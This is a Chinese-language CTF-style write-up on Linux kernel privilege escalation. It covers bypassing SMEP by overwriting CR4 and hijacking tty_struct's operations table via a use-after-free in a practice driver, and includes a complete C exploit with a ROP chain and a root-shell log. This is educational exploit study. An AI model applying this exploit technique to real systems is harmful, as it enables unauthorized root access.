0%

smep绕过及tty_opertions

smep绕过

0x1 smep机制

smep是内核态的一种保护机制,当CPU处于内核态的时候,即处于ring0的时候不允许访问用户态的代码,所以上篇的ret2user就直接不能使用了。

但是也有绕过办法,这个实现smep的机制密不可分,系统会通过cr4的第20位是否为1判断是否开启了smep,只要能执行rop然后mov改变cr4的第二十位为0就行,然后就可以执行用户态的代码了。

0x2 tty_struct

当用户打开ptmx驱动的时候会给其分配一个tty_struct结构,具体定义如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
struct tty_struct {  
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops;
int index;
/* Protects ldisc changes: Lock tty not pty */
struct ld_semaphore ldisc_sem;
struct tty_ldisc *ldisc;
struct mutex atomic_write_lock;
struct mutex legacy_mutex;
struct mutex throttle_mutex;
struct rw_semaphore termios_rwsem;
struct mutex winsize_mutex;
spinlock_t ctrl_lock;
spinlock_t flow_lock;
/* Termios values are protected by the termios rwsem */
struct ktermios termios, termios_locked;
struct termiox *termiox; /* May be NULL for unsupported */
char name[64];
struct pid *pgrp; /* Protected by ctrl lock */
struct pid *session;
unsigned long flags;
int count;
struct winsize winsize; /* winsize_mutex */
unsigned long stopped:1, /* flow_lock */
flow_stopped:1,
unused:BITS_PER_LONG - 2;
int hw_stopped;
unsigned long ctrl_status:8, /* ctrl_lock */
packet:1,
unused_ctrl:BITS_PER_LONG - 9;
unsigned int receive_room; /* Bytes free for queue */
int flow_change;
struct tty_struct *link;
struct fasync_struct *fasync;
wait_queue_head_t write_wait;
wait_queue_head_t read_wait;
struct work_struct hangup_work;
void *disc_data;
void *driver_data;
spinlock_t files_lock; /* protects tty_files list */
struct list_head tty_files;
#define N_TTY_BUF_SIZE 4096
int closing;
unsigned char *write_buf;
int write_cnt;
/* If the tty has a pending do_SAK, queue it here - akpm */
struct work_struct SAK_work;
struct tty_port *port;
} __randomize_layout;

然后有一个类似虚表指针const struct tty_operations *ops,这个指针指向一个这样的虚表,里面储存了大量的函数地址,可以把这个设备当成c+++中的一个对象,当对这个对象执行虚函数的时候会从这个虚表中找到对应函数的地址然后在执行,可见执行open() read() write() close() 的时候都会从这个虚表中找函数地址,只要我们能伪tty_struct就可以间接控制tty_operations了,通过修改虚表中函数地址来控制程序流了,其中write()处于ty_operations[7],当程序执行虚表函数的时候rax就永远指向虚表第一项,所以可以结合write和rax来完成rop。(感觉很像house of kiwi,都是通过一个固定寄存器和相对调用完成rop)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
struct tty_operations {  
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver *driver, int line, char *options);
int (*poll_get_char)(struct tty_driver *driver, int line);
void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;

0x3 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
size_t commit_creds=0xffffffff810a1420;
size_t prepare_kernel_creds=0xffffffff810a1810;
void* fake_tty_operatios[30];
size_t user_cs,user_ss,user_rflags,user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
}
void get_shell(){
system("/bin/sh");
}
void get_root(){
(*((void (*)(char *))commit_creds))((*((char* (*)(int))prepare_kernel_creds))(0));
}
int main(){
save_status();
int i=0;
size_t rop[32]={0};
rop[i++]=0xffffffff810d238d; //pop rdi ; ret
rop[i++]=0x6f0;
rop[i++]=0xffffffff81004d80;//mov cr4, rdi ; pop rbp ; ret
rop[i++]=0;
rop[i++]=(size_t)get_root;
rop[i++]=0xffffffff81063694;//swapgs ; pop rbp ; ret
rop[i++]=0;
rop[i++]=0xFFFFFFFF8181A797;//iretq
rop[i++]=(size_t)get_shell;
rop[i++]=user_cs;
rop[i++]=user_rflags;
rop[i++]=user_sp;
rop[i++]=user_ss;
for(int i=0;i<30;i++){
fake_tty_operatios[i]=0xFFFFFFFF8181BFC5;////mov rsp, rax;dec ebx;ret
}
fake_tty_operatios[0]=0xffffffff810635f5;//pop rax; pop rbp; ret
fake_tty_operatios[1]=(size_t)rop;
fake_tty_operatios[3]=0xFFFFFFFF8181BFC5;// mov rsp,rax ; dec ebx ; ret
int fd1=open("/dev/babydev",2);
int fd2=open("/dev/babydev",2);
ioctl(fd1,0x10001,0x2e0);
close(fd1);
int fd_tty=open("/dev/ptmx",O_RDWR|O_NOCTTY);
size_t fake_tty_struct[4]={0};
read(fd2,fake_tty_struct,32);
fake_tty_struct[3]=(size_t)fake_tty_operatios;
write(fd2,fake_tty_struct,32);
char buf[8]={0};
write(fd_tty,buf,8);
return 0;
}

0x4 最终效果

1
2
3
4
5
6
7
8
9
10
11
12
13
/ $ ls
bin etc flag init proc sys
da.sh exp gadget lib root tmp
dev exp.c home linuxrc sbin usr
/ $ cat flag
cat: can't open 'flag': Permission denied
/ $ ./exp
[ 16.387072] device open
[ 16.388872] device open
[ 16.390499] alloc done
[ 16.392086] device release
/ # cat flag
falg{123}

0x5 思考

rop布置在内核态和用户态有很大的区别,当布置在内核态的时候,如果组成rop的gadget全是内核gadget的时候,就不会触发semep和smap,但是如果布置在用户态的时候,就算全部是内核态的gadget,也会触发smap,因为每次ret的时候都会访问用户态数据拿到地址,就触发smap了,至于为什么不触发smep,因为全程都没有执行用户态代码。

0x6 总结

iretq:指令则用来恢复用户态的 cs、ss、rsp、rip、rflags,恢复的时候的布局如下

1
2
3
4
5
6
7
8
9
10
11
+-----------+
|    RIP    |
+-----------+
|    CS     |
+-----------+
|   rflags  |
+-----------+
|    RSP    |
+-----------+
|    SS     |
+-----------+

可见这条指令会直接改变rip的值,当这条指令执行完之后会去执行rip处的指令,假如rip处是get_shell的函数地址,这条指令完就直接执行get_shell函数了,所以不用iretq;ret,直接iretq就可以返回用户态并执行get_shell了。

gadget:使用ropper寻找gadget是最合适的。

函数偏移量:比如这道题解出来的vmlinux好像没有符号表,所以无法通过pwn直接得到偏移量,这时可以让内核运行起来,然后通过这行shell得到某个内核函数的地址。

1
cat /proc/kallsyms|grep "xxxx"